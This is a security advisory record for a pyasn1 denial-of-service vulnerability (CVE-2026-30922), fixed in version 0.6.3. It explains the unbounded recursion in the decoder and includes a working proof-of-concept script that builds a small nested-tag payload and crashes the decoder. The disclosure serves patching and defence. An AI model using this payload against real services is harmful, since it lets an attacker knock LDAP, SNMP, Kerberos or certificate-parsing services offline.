{"schema_version":"1.7.5","id":"GHSA-jr27-m4p2-rc6r","published":"2026-03-17T16:17:33Z","modified":"2026-07-21T15:30:39.553074080Z","aliases":["CVE-2026-30922","PYSEC-2026-2263"],"related":["CGA-hmg3-xp5x-p9q9"],"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","affected":[{"package":{"name":"pyasn1","ecosystem":"PyPI","purl":"pkg:pypi/pyasn1"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.3"}]}],"versions":["0.0.10a","0.0.11a","0.0.12a","0.0.13","0.0.13a","0.0.13b","0.0.6a","0.0.9a","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.1","0.2.2","0.2.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.5.0","0.5.1","0.6.0","0.6.1","0.6.2"],"database_specific":{"last_known_affected_version_range":"<= 0.6.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-jr27-m4p2-rc6r/GHSA-jr27-m4p2-rc6r.json"}}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}],"database_specific":{"cwe_ids":["CWE-674","CWE-835"],"github_reviewed":true,"github_reviewed_at":"2026-03-17T16:17:33Z","nvd_published_at":"2026-03-18T04:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}